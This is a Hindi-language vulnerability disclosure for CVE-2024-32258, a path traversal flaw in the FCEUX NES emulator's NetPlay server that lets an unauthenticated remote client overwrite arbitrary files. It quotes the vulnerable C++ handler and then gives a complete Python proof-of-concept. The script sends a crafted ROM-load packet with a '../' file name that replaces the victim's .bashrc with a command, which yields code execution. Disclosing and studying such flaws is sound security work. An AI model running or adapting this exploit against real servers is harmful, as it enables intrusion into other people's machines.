
CVE-2024-32258 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, FCEUX NetPlay 2.7.0 में एक path traversal भेद्यता जो क्राफ्टेड ROM अनुरोधों के माध्यम से अप्रमाणित रिमोट आर्बिट्रेरी फ़ाइल ओवरराइट को सक्षम करती है।
FCEUX एक NES एमुलेटर है जो हमें हमारे बचपन में ले जा सकता है। यह कई रोचक सुविधाएँ प्रदान करता है, जैसे दो खिलाड़ी ऑनलाइन गेम खेल सकते हैं।
सर्वर और क्लाइंट एक-दूसरे को ROM भेज सकते हैं, लेकिन सर्वर क्लाइंट द्वारा भेजे गए ROM नामों में विशेष वर्णों को फ़िल्टर नहीं करता है। यह पथ भ्रमण (Path Traversal) कमजोरी सर्वर पर किसी भी फ़ाइल को अधिलेखित कर सकती है। इससे भी गंभीर बात यह है कि ROM की दूरस्थ लोडिंग के लिए प्रमाणीकरण की आवश्यकता नहीं है, भले ही सर्वर सेटिंग्स में लॉग इन करने के लिए पासवर्ड की आवश्यकता हो।
यह कमिट 798c5a1d9c73b899cdbe3d613c0022588281979f के दौरान पेश किया गया था - NetPlay के लिए, क्लाइंट द्वारा ROM लोड करने का अनुरोध करने की क्षमता जोड़ी गई।
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
msf->fileName और fp दोनों हमलावर द्वारा निर्दिष्ट किए जाते हैं।
आप स्रोत कोड संकलन के माध्यम से fceux प्राप्त कर सकते हैं, या आप सीधे हमारे संकलित बाइनरी का उपयोग कर सकते हैं। fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
मज़े करो! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
उच्च 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
| CVSS3.1 | Score | Detail |
|---|---|---|
| हमला वेक्टर | नेटवर्क | नेटवर्क के माध्यम से हमला शुरू करें |
| हमला जटिलता | निम्न | बस दो संदेश भेजें |
| आवश्यक विशेषाधिकार | कोई नहीं | हमला पैकेट भेजने के लिए किसी अनुमति की आवश्यकता नहीं है |
| उपयोगकर्ता सहभागिता | आवश्यक | ROM लोड करने के लिए पुष्टि बटन पर क्लिक करें। |
| दायरा | अपरिवर्तित | लागू नहीं |
| गोपनीयता | उच्च | मनमानी फ़ाइल अधिलेखित |
| अखंडता | उच्च | मनमानी फ़ाइल अधिलेखित |
| उपलब्धता | उच्च | मनमानी फ़ाइल अधिलेखित |
Yansong Li और Yijie Xun (नॉर्थवेस्टर्न पॉलिटेक्निकल यूनिवर्सिटी)